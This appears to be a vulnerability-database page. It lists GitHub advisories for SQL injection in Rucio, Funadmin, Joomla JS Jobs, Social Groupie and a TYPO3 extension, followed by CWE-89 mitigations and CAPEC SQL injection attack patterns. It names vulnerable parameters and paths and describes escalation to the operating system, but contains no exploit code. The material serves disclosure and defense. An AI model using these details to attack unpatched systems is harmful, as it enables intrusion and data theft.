      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/rucio/PYSEC-2026-527.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rucio/rucio"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/rucio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API"
}

GHSA-6J8F-88MH-R9VQ

Vulnerability from github – Published: 2024-10-25 21:31 – Updated: 2024-10-31 19:31
VLAI
Summary
SQL injection in funadmin
Details

Funadmin v5.0.2 has an arbitrary file read vulnerability in /curd/index/editfile.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "funadmin/funadmin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-48224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-25T21:47:13Z",
    "nvd_published_at": "2024-10-25T21:15:03Z",
    "severity": "HIGH"
  },
  "details": "Funadmin v5.0.2 has an arbitrary file read vulnerability in `/curd/index/editfile`.",
  "id": "GHSA-6j8f-88mh-r9vq",
  "modified": "2024-10-31T19:31:53Z",
  "published": "2024-10-25T21:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48224"
    },
    {
      "type": "WEB",
      "url": "https://github.com/funadmin/funadmin/issues/24"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/funadmin/funadmin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SQL injection in funadmin"
}

GHSA-6J8F-X6QM-CJ3R

Vulnerability from github – Published: 2022-05-17 00:40 – Updated: 2022-05-17 00:40
VLAI
Details

SQL injection vulnerability in group_index.php in Social Groupie allows remote attackers to execute arbitrary SQL commands via the id parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-6358"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-03-02T16:30:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in group_index.php in Social Groupie allows remote attackers to execute arbitrary SQL commands via the id parameter.",
  "id": "GHSA-6j8f-x6qm-cj3r",
  "modified": "2022-05-17T00:40:00Z",
  "published": "2022-05-17T00:40:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6358"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/7433"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/33125"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32787"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6J8J-86H8-528V

Vulnerability from github – Published: 2025-02-15 09:30 – Updated: 2025-02-21 15:32
VLAI
Details

A SQL injection vulnerability in the JS Jobs plugin versions 1.1.5-1.4.3 for Joomla allows authenticated attackers (administrator) to execute arbitrary SQL commands via the 'filter_email' parameter in the GDPR Erase Data Request search feature.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2025-22208"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-15T09:15:11Z",
    "severity": "MODERATE"
  },
  "details": "A SQL injection vulnerability in the JS Jobs plugin versions 1.1.5-1.4.3 for Joomla allows authenticated attackers (administrator) to execute arbitrary SQL commands via the \u0027filter_email\u0027 parameter in the GDPR Erase Data Request search feature.",
  "id": "GHSA-6j8j-86h8-528v",
  "modified": "2025-02-21T15:32:00Z",
  "published": "2025-02-15T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22208"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AdamWallwork/CVEs/tree/main/2025/CVE-2025-22208"
    },
    {
      "type": "WEB",
      "url": "https://joomsky.com/js-jobs-joomla"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6J9M-WFGH-HPWJ

Vulnerability from github – Published: 2022-05-17 05:29 – Updated: 2025-04-11 03:51
VLAI
Details

SQL injection vulnerability in the Commenting system Backend Module (commentsbe) extension 0.0.2 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.

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{
  "affected": [],
  "aliases": [
    "CVE-2010-4887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-10-07T10:55:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in the Commenting system Backend Module (commentsbe) extension 0.0.2 and earlier for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.",
  "id": "GHSA-6j9m-wfgh-hpwj",
  "modified": "2025-04-11T03:51:15Z",
  "published": "2022-05-17T05:29:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4887"
    },
    {
      "type": "WEB",
      "url": "http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

  • Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-28
Implementation

Strategy: Output Encoding

  • While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
  • When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

CAPEC-110: SQL Injection through SOAP Parameter Tampering

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

CAPEC-470: Expanding Control over the Operating System from the Database

An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.

CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.

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